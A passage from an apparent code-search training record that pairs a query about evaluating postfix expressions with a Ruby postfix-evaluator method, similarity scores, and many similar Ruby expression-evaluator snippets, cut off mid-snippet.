@state.following.pop\n\n @adaptor.add_child( root_1, expression236.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 48\n root_0 = @adaptor.create_flat_list\n\n\n # at line 197:5: ^( AREF expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __AREF237__ = match( AREF, TOKENS_FOLLOWING_AREF_IN_expression_1451 )\n\n tree_for_AREF237 = @adaptor.copy_node( __AREF237__ )\n\n root_1 = @adaptor.become_root( tree_for_AREF237, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1453 )\n expression238 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression238.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1455 )\n expression239 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression239.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 49\n root_0 = @adaptor.create_flat_list\n\n\n # at line 198:5: ^( '.' expression property_name )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal240 = match( DOT, TOKENS_FOLLOWING_DOT_IN_expression_1465 )\n\n tree_for_char_literal240 = @adaptor.copy_node( char_literal240 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal240, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1467 )\n expression241 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression241.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_property_name_IN_expression_1469 )\n property_name242 = property_name\n @state.following.pop\n\n @adaptor.add_child( root_1, property_name242.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 50\n root_0 = @adaptor.create_flat_list\n\n\n # at line 199:5: ^( CALL expression arguments )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __CALL243__ = match( CALL, TOKENS_FOLLOWING_CALL_IN_expression_1479 )\n\n tree_for_CALL243 = @adaptor.copy_node( __CALL243__ )\n\n root_1 = @adaptor.become_root( tree_for_CALL243, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1481 )\n expression244 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression244.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_arguments_IN_expression_1483 )\n arguments245 = arguments\n @state.following.pop\n\n @adaptor.add_child( root_1, arguments245.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 51\n root_0 = @adaptor.create_flat_list\n\n\n # at line 200:5: ^( ITER parameters block )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __ITER246__ = match( ITER, TOKENS_FOLLOWING_ITER_IN_expression_1493 )\n\n tree_for_ITER246 = @adaptor.copy_node( __ITER246__ )\n\n root_1 = @adaptor.become_root( tree_for_ITER246, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_parameters_IN_expression_1495 )\n parameters247 = parameters\n @state.following.pop\n\n @adaptor.add_child( root_1, parameters247.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_block_IN_expression_1497 )\n block248 = block\n @state.following.pop\n\n @adaptor.add_child( root_1, block248.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 52\n root_0 = @adaptor.create_flat_list\n\n\n # at line 201:5: ^( 'new' expression ( arguments )? )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal249 = match( NEW, TOKENS_FOLLOWING_NEW_IN_expression_1507 )\n\n tree_for_string_literal249 = @adaptor.copy_node( string_literal249 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal249, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1509 )\n expression250 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression250.tree )\n # at line 201:25: ( arguments )?\n alt_31 = 2\n look_31_0 = @input.peek( 1 )\n\n if ( look_31_0 == ARGUMENTS )\n alt_31 = 1\n end\n case alt_31\n when 1\n # at line 201:25: arguments\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_arguments_IN_expression_1511 )\n arguments251 = arguments\n @state.following.pop\n\n @adaptor.add_child( root_1, arguments251.tree )\n\n\n end\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 53\n root_0 = @adaptor.create_flat_list\n\n\n # at line 202:5: literal\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_literal_IN_expression_1520 )\n literal252 = literal\n @state.following.pop\n\n @adaptor.add_child( root_0, literal252.tree )\n\n\n end\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 28 )\n\n end\n \n return return_value\n end", "def createExpression2()\n op1 = NumericOperand.new(1)\n op2 = NumericOperand.new(2)\n op3 = NumericOperand.new(3)\n \n o1 = SubstractOperator.new(op3, op1)\n o2 = AddOperator.new(o1, op2)\n \n return ArithmeticExpression.new(o2)\n end" ]
[ "0.7524389", "0.7079986", "0.7076356", "0.6936732", "0.6846916", "0.6608379", "0.6494733", "0.6386341", "0.6323832", "0.63109237", "0.6255394", "0.62244964", "0.613986", "0.6082874", "0.60073715", "0.59948367", "0.5962967", "0.59522575", "0.5942479", "0.5870598", "0.58393604", "0.58326596", "0.5782252", "0.5778808", "0.5727864", "0.570126", "0.5689195", "0.5633134", "0.5611953", "0.5567127", "0.5544485", "0.5543293", "0.55235755", "0.5517798", "0.5509501", "0.54973656", "0.549706", "0.54960936", "0.54923105", "0.5485231", "0.54747504", "0.5470147", "0.54699725", "0.5456058", "0.5454084", "0.54249954", "0.5423578", "0.54190564", "0.5407119", "0.54036427", "0.5398928", "0.5385958", "0.5384926", "0.5365095", "0.5358091", "0.5351345", "0.53184384", "0.5316997", "0.5311957", "0.52866066", "0.5272458", "0.5271318", "0.5261296", "0.52461535", "0.5241932", "0.5218724", "0.52185285", "0.5215363", "0.52095795", "0.52054965", "0.5203926", "0.51999736", "0.5197977", "0.5196518", "0.5172774", "0.51645714", "0.5163111", "0.5160633", "0.5160471", "0.51545656", "0.5148353", "0.51400274", "0.5136691", "0.51298505", "0.51183814", "0.5084987", "0.50810766", "0.5046781", "0.50437516", "0.50420654", "0.5022081", "0.5021208", "0.50192124", "0.50179315", "0.5012627", "0.4990766", "0.49700803", "0.49467155", "0.4939754", "0.49381316" ]
0.5803772
22
Evaluates the expression. Uses the postfix representation and integer arithmetic.
def evaluate() # operand stack opStack = [] # iterate over the tokens @postfix.split("").each do |c| # check if an operator if %w[+ - * / ^].include? c # pop the stack for the two operands where # a [operator] b b, a = opStack.pop, opStack.pop # evaluate the string as an arithmetic expression # replace all '^' characters with '**' operator opStack.push(eval("(#{a})#{c}(#{b})".gsub(/\^/,'**'))) else # push any operands onto stack opStack.push(c) end end # Last item in stack should be the final answer! opStack.pop end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def evaluate_postfix(postfix_expression)\n operands = Set['+', '-', '*', '/'] # assume only these four operands for now\n stack = Stack.new # track operation results\n\n postfix_expression.each_char do |c| # assume expresion is valid\n if operands.include?(c) # is operand\n b = stack.pop # get second number pushed\n a = stack.pop # pop again for first number pushed\n\n new_top = 0\n\n # calculate new number to push into stack\n new_top += case c\n when '+' \n a + b\n when '-'\n a - b\n when '/'\n a / b\n when '*'\n a * b\n end\n\n stack.push(new_top) # add back to top of stack\n\n else # is number\n stack.push(c.to_i)\n end\n end\n\n return stack.pop\nend", "def evaluate_postfix(postfix_expression)\n stack = Stack.new\n \n i = 0\n while i < postfix_expression.length\n if postfix_expression[i].match(/[0-9]/)\n stack.push(postfix_expression[i].to_i)\n else\n case postfix_expression[i]\n when \"+\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 + num_2)\n when \"-\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 - num_2)\n when \"*\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 * num_2)\n when \"/\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 / num_2)\n end\n end\n i += 1\n end\n return stack.pop\nend", "def evaluate_postfix(postfix_expression)\n \n starting_value = postfix_expression[0].to_i\n first_operation = postfix_expression[2]\n first_value = postfix_expression[1].to_i\n second_operation = postfix_expression[4]\n second_value = postfix_expression[3].to_i\n \n temporary_response = 0\n \n if postfix_expression.length == 1 \n return postfix_expression\n elsif postfix_expression.length == 3\n return evaluator(first_operation, starting_value, first_value)\n elsif postfix_expression.length == 5\n first_half = evaluator(first_operation, starting_value, first_value)\n return evaluator(second_operation, first_half, second_value)\n end\nend", "def evaluate(postfix)\n stack = Stack.new\n operators = \"+-*/^\"\n for i in 0..postfix.size-1\n if !operators.include?(postfix[i])\n stack.push(postfix[i].to_i)\n else\n case postfix[i]\n when '+'\n value = stack.pop() + stack.pop\n when '-'\n b = stack.pop()\n value = stack.pop() - b\n when '*'\n value = stack.pop() * stack.pop\n when '/'\n b = stack.pop()\n value = stack.pop() / b\n when '^'\n b = stack.pop()\n value = stack.pop ^ b\n end\n stack.push(value)\n end\n end\n stack.pop\nend", "def evaluate_postfix(postfix)\n postfix = postfix.gsub(\" \", \"\") # remove spaces and get a new string\n operands = Stack.new\n postfix.chars do |token|\n if not operator?(token)\n # operand, push to operand stack\n operands.push token.to_i\n else\n operand2 = operands.pop\n operand1 = operands.pop\n result = nil\n case token\n when \"+\"\n result = operand1 + operand2\n when \"-\"\n result = operand1 - operand2\n when \"*\"\n result = operand1 * operand2\n when \"/\"\n result = operand1 / operand2\n end\n operands.push result if result\n end\n end\n operands.pop # final result on the stack\n end", "def evaluatePostfix(exprStr)\n \n # split the string into an array by spaces\n exprStr = exprStr.split(\" \");\n\n # stack the holds \n stack = Array.new\n\n # loop through each element in the array\n exprStr.each do |ele|\n \n # check if the current value is an integer\n if operand? ele\n\n # convert the element to an integer and push onto stack\n stack.push ele.to_i\n\n # check if current element is an operator\n elsif operator? ele\n\n # update the ^ operator\n if ele.eql? '^'\n ele = \"**\"\n end \n \n # pop the last two elements from the array\n y, x = stack.pop, stack.pop\n \n # calculate the result of the operation\n result = applyOperator(x, y, ele)\n\n # push the result onto the stack\n stack.push(result)\n end\n end\n return stack.pop\n end", "def evaluate_postfix(postfix_expression)\n regex = /\\d/\n stack = Stack.new\n postfix_expression.each_char do |c|\n if c.match(regex)\n stack.push(c.to_i)\n elsif stack.empty?\n raise ArgumentError\n else\n num2 = stack.pop\n num1 = stack.pop\n new_num = num1.method(c).(num2)\n stack.push(new_num)\n end\n end\n return stack.pop\nend", "def eval\n return @value unless @value.nil?\n \n debug \"\\nfor RPN expression: #{expression}\\nTerm\\tAction\\tStack\"\n stack = []\n expression.split.each do |term|\n if Operators.has_key?(term)\n a, b = stack.pop(2)\n raise ArgumentError, \"not enough operands on the stack\" if b.nil?\n a = a.to_f if term == \"/\"\n op = (term == \"^\" ? \"**\" : term)\n stack.push(a.method(op).call(b))\n debug \"#{term}\\t#{Operators[term].english}\\t#{stack}\"\n else\n begin\n number = Integer(term) rescue Float(term)\n rescue ArgumentError\n raise ArgumentError, \"cannot handle term: #{term}\"\n end\n stack.push(number)\n debug \"#{number}\\tPUSH\\t#{stack}\"\n end\n end\n @value = stack.pop\n debug \"Value = #@value\"\n @value\n end", "def evaluate(bindings = {})\n stack = []\n @expr.split.each do |token|\n case token\n when /\\A\\d+\\z/\n number = Number.new(token)\n stack.push(number)\n when \"+\"\n right = stack.pop(1)\n left = stack.pop(1)\n value.add(left, right)\n end\n end\n stack.pop\n end", "def evaluate_postfix(postfix_expression)\n stack = Stack.new()\n return nil if postfix_expression.empty?\n\n # This solution would not work for floats\n postfix_expression.each_char do |char|\n if char.match?(/\\d/)\n stack.push(char)\n elsif char.match?(/[*-\\/+]/)\n val_1 = stack.pop().to_i\n val_2 = stack.pop().to_i\n result = nil\n\n case char\n when '*'\n result = val_1 * val_2\n when '-'\n result = val_2 - val_1\n when '/'\n result = val_2 / val_1\n when '+'\n result = val_1 + val_2\n end\n\n stack.push(result)\n else\n raise StandardError.new \"Invalid character #{char}.\"\n end\n end\n\n return stack.pop()\nend", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def evaluate_postfix(postfix_expression)\n stack = Stack.new\n\n postfix_helper(postfix_expression, stack)\nend", "def evaluate_postfix(postfix_expression)\n stack = Stack.new\n postfix_expression.each_char do |n|\n if /\\+|-|\\*|\\//.match(n)\n stack_operation_helper(stack, stack.pop, stack.pop, n)\n else \n stack.push(n)\n end \n end \n return stack.pop\nend", "def evaluatePostfix(exprStr)\n stack = []\n exprStr.split(\" \").each do |token|\n if operand? token then\n stack.push token\n elsif operator? token then\n y = stack.pop\n x = stack.pop\n stack.push applyOperator(x, y, token)\n end\n end\n stack.pop\n end", "def postfix_evaluator(equation)\n stack = []\n for i in equation do\n if str_to_num(i)\n stack.push(str_to_num(i))\n puts stack\n elsif (\"+-*/\").include?(i)\n second_num = stack.pop\n if stack != []\n first_num = stack.pop\n result = math(i, first_num, second_num)\n stack.push(result)\n else\n raise \"Not enough arguments\"\n end\n else\n raise \"Invalid number\"\n end\n end\n stack.pop()\nend", "def evalRPN(exp)\n begin\n expr = parseString(exp) # Parse expression into array\n\n stack = Stack.new # stack to keep track of operands\n\n # convert string to int or float\n case expr[0]\n when /\\.{1}/\n stack.push(atof(expr[0]))\n else\n stack.push(atoi(expr[0]))\n end\n\n for i in 1..expr.length\n\n # Addition - perform addition on previous two operands\n if expr[i] == '+' \n stack.push(calc stack.pop, stack.pop, &:+)\n\n # Subtraction - perform subtraction on previous two operands\n elsif expr[i] == '-'\n stack.push(calc stack.pop, stack.pop, &:-) \n\n # Division - perform division on previous two operands\n elsif expr[i] == '/'\n stack.push(calc (stack.pop/1.0), stack.pop, &:/)\n\n # Multiplication - perform mult on previous two operands\n elsif expr[i] == '*'\n stack.push(calc stack.pop, stack.pop, &:*)\n\n # Just a number -- add to stack\n else\n next if expr[i] == nil # dont add nil to stack\n\n case expr[i]\n when /\\.{1}/\n stack.push(atof(expr[i]))\n else\n stack.push(atoi(expr[i]))\n end\n end\n end\n\n # No operator provided\n raise NotEnoughException if stack.size != 1\n \n return stack.pop # Return answer\n\n rescue NotEnoughException => e\n abort(e.mes) # inform user of error\n end\n\nend", "def evaluate_postfix(str)\n calc = Stack.new\n i = 0\n while i < str.length\n case str[i]\n when \"+\"\n calc.push (calc.pop + calc.pop)\n when \"-\"\n value1 = calc.pop\n value2 = calc.pop\n calc.push (value2 - value1)\n when \"*\"\n calc.push (calc.pop * calc.pop)\n when \"/\"\n value1 = calc.pop\n value2 = calc.pop\n calc.push (value2 / value1)\n else\n calc.push str[i].to_i\n end\n i += 1\n end\n return calc.pop\nend", "def eval(expr, *rest) end", "def evaluate_postfix_expression(postfix_input)\n unless @target.respond_to? :e1311_postfix_evaluator\n fail 'You must solve test_e1311_postfix_evaluator first'\n end\n\n begin\n return @target.e1311_postfix_evaluator(postfix_input)\n rescue Exception => error\n msg = \"Bad postfix format: #{postfix_input}, #{error.message}\"\n raise Test::Unit::AssertionFailedError.new(msg)\n end\n end", "def test_calculate_postfix_numbers\n RPN rpn = RPN.new(2)\n expression = '1 2 +'\n assert_equal rpn.calculate_postfix_expression(expression), 3\n end", "def evaluatePostfix(exprStr)\n\t\tstack = Array.new\n\n\t\tfor i in 0...exprStr.split.length\n\t\t\tcurrent = exprStr.split[i]\n\n\t\t\tif operand?(current)\n\t\t\t\tstack.push(current)\n\t\t\tend\n\n\t\t\tif operator?(current)\n\t\t\t\ty = stack.pop\n\t\t\t\tx = stack.pop\n\t\t\t\to = current\n\t\t\t\tresults = applyOperator(x, y, o.to_s)\n\t\t\t\tstack.push(results)\n\t\t\tend\n\t\tend\n\n\t\treturn stack.pop\n end", "def evaluate(expression)\n \texpr = tokens(expression)\n \tret = 0\n values = [] #Values stores the results from each operation\n \texpr.each do |element|\n \t\tif(element.is_a?(Fixnum))\n \t\t\tpush(element)\n \t\telse\n \t\t\tcase element\n \t\t\twhen :+\n #If numbers is empty, use the last two numbers in values \n #as the operands.\n #Implemented this in order for the \"1 2 3 * + 4 5 - /\" example\n #to pass. Kept getting the error that @numbers was empty\n if(@numbers.empty?)\n num1 = values.pop\n num2 = values.pop\n ret = num2 / num1\n break \n else \n \t\t\t\t ret = plus\n values << ret\n end\n \t\t\twhen :-\n if(@numbers.empty?)\n num1 = values.pop\n num2 = values.pop\n ret = num2 / num1\n break \n else\n \t\t\t\t ret = minus\n values << ret\n end\n \t\t\twhen :*\n if(@numbers.empty?)\n num1 = values.pop\n num2 = values.pop\n ret = num2 / num1\n break \n else\n ret = times\n values << ret\n end\n \t\t\twhen :/\n if(@numbers.empty?)\n num1 = values.pop\n num2 = values.pop\n ret = num2 / num1\n break\n else\n ret = divide\n values << ret\n end\n \t\t\tend\n \t\tend\n \tend\n\tret\n end", "def test_e1311_postfix_evaluator\n verify_method :e1311_postfix_evaluator,\n :with =>\n [\n {param: '1 2 +', expect: 3},\n {param: '1 2 3 +', expect: 6},\n {param: '3 4 - 5 +', expect: 4},\n {param: '3 4 - 5 *', expect: -5},\n {param: '5 3 4 - *', expect: -5},\n {param: '3 4 5 - *', expect: -3},\n {param: '3 4 + 5 6 * * 2 +', expect: 212}\n ]\n end", "def prefix_evaluation(expression)\n return nil if expression.class != String\n digits = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\",\"6\", \"7\", \"8\", \"9\"]\n operators = [\"+\", \"-\", \"*\", \"/\", \"**\"]\n expression_array = expression.split(\" \").reverse\n local_stack = Stack.new()\n expression_array.each do |element|\n if digits.include?(element)\n local_stack.push(element)\n elsif operators.include?(element)\n num1 = local_stack.pop()\n num2 = local_stack.pop()\n result = do_math(num1, num2, element)\n local_stack.push(result)\n else\n puts \"undefined character\"\n end\n end\n local_stack.top()\nend", "def expression\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 2 )\n\n\n value = nil\n\n\n a = nil\n b = nil\n\n\n begin\n # at line 9:28: a= mul ( ADD b= mul | SUB b= mul )*\n @state.following.push( TOKENS_FOLLOWING_mul_IN_expression_44 )\n a = mul\n @state.following.pop\n # at line 9:33: ( ADD b= mul | SUB b= mul )*\n while true # decision 1\n alt_1 = 3\n look_1_0 = @input.peek( 1 )\n\n if ( look_1_0 == ADD )\n alt_1 = 1\n elsif ( look_1_0 == SUB )\n alt_1 = 2\n\n end\n case alt_1\n when 1\n # at line 10:5: ADD b= mul\n match( ADD, TOKENS_FOLLOWING_ADD_IN_expression_51 )\n @state.following.push( TOKENS_FOLLOWING_mul_IN_expression_55 )\n b = mul\n @state.following.pop\n\n # --> action\n a += b \n # <-- action\n\n\n when 2\n # at line 11:5: SUB b= mul\n match( SUB, TOKENS_FOLLOWING_SUB_IN_expression_63 )\n @state.following.push( TOKENS_FOLLOWING_mul_IN_expression_67 )\n b = mul\n @state.following.pop\n\n # --> action\n a -= b \n # <-- action\n\n\n else\n break # out of loop for decision 1\n end\n end # loop for decision 1\n\n\n # --> action\n value = a \n # <-- action\n\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 2 )\n\n\n end\n\n return value\n end", "def eval_expression\n if @input.to_i.zero?\n @input = eval(@input).to_s\n else\n @input = eval(@input).to_f.to_s\n end\n @output.text = @input\n end", "def eval_expression(exp, globals, indices)\n if !indices.nil?\n end\n if exp.nil?\n return 0.0/0.0 #NaN\n end\n if exp.instance_of?(Expression)\n args = exp.args\n op = exp.op\n if op.nil?\n return eval_expression(args[0], globals, indices)\n elsif op == \"+\"\n return eval_expression(args[0], globals, indices) + eval_expression(args[1], globals, indices)\n elsif op == \"-\"\n return eval_expression(args[0], globals, indices) - eval_expression(args[1], globals, indices)\n elsif op == \"*\"\n return eval_expression(args[0], globals, indices) * eval_expression(args[1], globals, indices)\n elsif op == \"/\"\n return eval_expression(args[0], globals, indices) / eval_expression(args[1], globals, indices)\n elsif op == \"%\"\n return eval_expression(args[0], globals, indices) % eval_expression(args[1], globals, indices)\n elsif op == \"^\"\n return eval_expression(args[0], globals, indices) ** eval_expression(args[1], globals, indices)\n elsif op == \"==\"\n return bool_to_i(eval_expression(args[0], globals, indices) == eval_expression(args[1], globals, indices))\n elsif op == \"<\"\n return bool_to_i(eval_expression(args[0], globals, indices) < eval_expression(args[1], globals, indices))\n elsif op == \">\"\n return bool_to_i(eval_expression(args[0], globals, indices) > eval_expression(args[1], globals, indices))\n elsif op == \"<=\"\n return bool_to_i(eval_expression(args[0], globals, indices) <= eval_expression(args[1], globals, indices))\n elsif op == \">=\"\n return bool_to_i(eval_expression(args[0], globals, indices) >= eval_expression(args[1], globals, indices))\n elsif op == \"!=\"\n return bool_to_i(eval_expression(args[0], globals, indices) != eval_expression(args[1], globals, indices))\n elsif op == \"&&\"\n return bool_to_i(eval_expression(args[0], globals, indices) != 0 && eval_expression(args[1], globals, indices) != 0)\n elsif op == \"||\"\n return bool_to_i(eval_expression(args[0], globals, indices) != 0 || eval_expression(args[1], globals, indices) != 0)\n elsif op == \"[]\"\n index_values = []\n args[1...args.length].each do |index_value|\n index_values << eval_expression(index_value, globals, indices)\n end\n builtin_return = eval_builtin_function(args[0], globals, index_values)\n return builtin_return unless builtin_return.nil?\n return eval_variable(args[0], globals, index_values)\n elsif op == \"CASE\"\n for case_index in 0...args.length/2\n if args[case_index*2] == \"else\" || eval_expression(args[case_index*2], globals, indices) != 0\n return eval_expression(args[case_index*2+1], globals, indices)\n end\n end\n # if we got here, none of the cases were true and there was no else; return arbitrary default\n return 0\n elsif op == \"ARRAY\"\n elem_count = args.length - 1\n index = eval_expression(args[0], globals, indices)\n if index.to_i != index\n raise ArgumentError, \"Array index must be an integer. Was #{index}.\"\n end\n if index < 1 || index > elem_count\n raise ArgumentError, \"Array index #{index} is out of bounds. Must be between 1 and #{elem_count}, inclusive.\"\n end\n return eval_expression(args[index], globals, indices)\n end\n else\n #exp is a string\n if exp[0] == ?@\n #exp is a symbol\n return exp[1..-1].intern\n elsif exp == \"NaN\"\n #exp is nan\n return 0.0/0.0\n elsif exp.downcase == \"true\"\n #exp is boolean true\n return 1\n elsif exp.downcase == \"false\"\n #exp is boolean false\n return 0\n elsif exp.match(/^[\\d]+(\\.[\\d]*){0,1}$|^\\.[\\d]+$/)\n #exp is a number\n return exp.to_f\n elsif exp.match(/^\\d\\d\\d\\d_\\d\\d_\\d\\d_\\d\\d_\\d\\d_\\d\\d$/)\n #exp is a date and time\n return DateTime.strptime(exp+\" +0\", \"%Y_%m_%d_%H_%M_%S %z\").to_time.to_f\n elsif exp.match(/^\\d\\d\\d\\d_\\d\\d_\\d\\d$/)\n #exp is a date\n return DateTime.strptime(exp+\"_00_00_00 +0\", \"%Y_%m_%d_%H_%M_%S %z\").to_time.to_f\n elsif exp.match(/^\\d\\d\\_\\d\\d_\\d\\d$/)\n #exp is a time\n return DateTime.strptime(\"1970_01_01_\"+exp+\" +0\", \"%Y_%m_%d_%H_%M_%S %z\").to_time.to_f\n else\n #exp is a variable\n if !indices.nil? && !indices[exp].nil?\n #exp is an array index variable\n return indices[exp]\n end\n return eval_variable(exp, globals, nil)\n end\n end\n end", "def eval_expression\n # Shoes.show_log\n @numbers = @input.split(\" \")\n @first_number = @numbers.shift.to_f\n @numbers.unshift(@first_number)\n\n @last_number = @numbers.pop.to_f\n @numbers.push(@last_number.to_s)\n\n @input = @numbers.join\n @input = eval(@input).to_s\n @output.text = @input\n end", "def evaluate post_fix_expression\n stack = []\n while !post_fix_expression.empty? \n top = post_fix_expression.shift\n if top == \"*\"\n y, x = stack.pop, stack.pop \n stack.push(x * y)\n elsif top == \"/\"\n y, x = stack.pop, stack.pop\n stack.push(x/y)\n elsif top == \"+\"\n y, x = stack.pop, stack.pop\n stack.push(x+y)\n elsif top == \"-\"\n y, x = stack.pop, stack.pop\n stack.push(x-y)\n else\n stack.push(top)\n end\n end\n stack.pop\n end", "def execute_expression\n valid_input\n to_roman(to_num(@operand_one).send(@operator, to_num(@operand_two)))\n end", "def test_postfix_evaluator_e1311\n verify_method :postfix_evaluator_e1311,\n :with =>\n [\n {param: '1 2 +', expect: 3},\n {param: '1 2 3 +', expect: 6},\n {param: '3 4 - 5 +', expect: 4},\n {param: '3 4 - 5 *', expect: -5},\n {param: '5 3 4 - *', expect: -5},\n {param: '3 4 5 - *', expect: -3},\n {param: '3 4 + 5 6 * * 2 +', expect: 212}\n ]\n end", "def eval_math(string)\n number_stack = []\n operator_stack = []\n tokens = string.split(\" \")\n tokens.each_with_index do |n, i|\n if n == \"*\" \n number_stack << number_stack.pop.to_i * tokens[i+1].to_i\n tokens.delete_at(i+1)\n elsif n == \"/\" \n number_stack << number_stack.pop.to_i / tokens[i+1].to_i\n tokens.delete_at(i+1)\n elsif ['+','-'].include? n\n operator_stack << n\n else\n number_stack << n\n end\n puts \"evaling n: #{n}, number_stack #{number_stack} operator_stack #{operator_stack}\"\n end\n result = 0\n operator_stack.each do |o|\n if o == '+'\n number_stack[0] = number_stack.first.to_i + number_stack.delete_at(1).to_i\n end\n if o == '-'\n number_stack[0] = number_stack.first.to_i - number_stack.delete_at(1).to_i\n end\n end\n\n return number_stack[0]\n\nend", "def evaluate(exp)\n\twhile x = exp =~ /[\\*\\/]/\n\t\tres = 0\n\t\tcase exp[x]\n\t\twhen '*'\n\t\t\tk, p = x-1, \"\"\n\t\t\tnum1, num2 = 0, 0\n\t\t\twhile k >= 0\n\t\t\t\tif exp[k] != '*' && exp[k] != '/' && exp[k] != '+' && exp[k] != '-'\n\t\t\t\t\tp += exp[k]\n\t\t\t\t\tk -= 1\n\t\t\t\telse\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\tnum1 = p.reverse.to_i\n\t\t\tk, p = x+1, \"\"\n\t\t\twhile k < exp.length\n\t\t\t\tif exp[k] != '*' && exp[k] != '/' && exp[k] != '+' && exp[k] != '-'\n\t\t\t\t\tp += exp[k]\n\t\t\t\t\tk += 1\n\t\t\t\telse\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\tnum2 = p.to_i\n\t\t\tres = num1 * num2\n\t\t\tres = res.to_s\n\t\t\texp = exp.sub(/\\d*\\*\\d*/, res)\n\t\twhen '/'\n\t\t\tk, p = x-1, \"\"\n\t\t\tnum1, num2 = 0, 0\n\t\t\twhile k >= 0\n\t\t\t\tif exp[k] != '*' && exp[k] != '/' && exp[k] != '+' && exp[k] != '-'\n\t\t\t\t\tp += exp[k]\n\t\t\t\t\tk -= 1\n\t\t\t\telse\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\tnum1 = p.reverse.to_i\n\t\t\tk, p = x+1, \"\"\n\t\t\twhile k < exp.length\n\t\t\t\tif exp[k] != '*' && exp[k] != '/' && exp[k] != '+' && exp[k] != '-'\n\t\t\t\t\tp += exp[k]\n\t\t\t\t\tk += 1\n\t\t\t\telse\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\tnum2 = p.to_i\n\t\t\tres = num1 / num2\n\t\t\tres = res.to_s\n\t\t\texp = exp.sub(/\\d*\\/\\d*/, res)\n\t\tend\n\tend\n\twhile x = exp =~ /[\\+\\-]/\n\t\tres = 0\n\t\tcase exp[x]\n\t\twhen '+'\n\t\t\tk, p = x-1, \"\"\n\t\t\tnum1, num2 = 0, 0\n\t\t\twhile k >= 0\n\t\t\t\tif exp[k] != '*' && exp[k] != '/' && exp[k] != '+' && exp[k] != '-'\n\t\t\t\t\tp += exp[k]\n\t\t\t\t\tk -= 1\n\t\t\t\telse\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\tnum1 = p.reverse.to_i\n\t\t\tk, p = x+1, \"\"\n\t\t\twhile k < 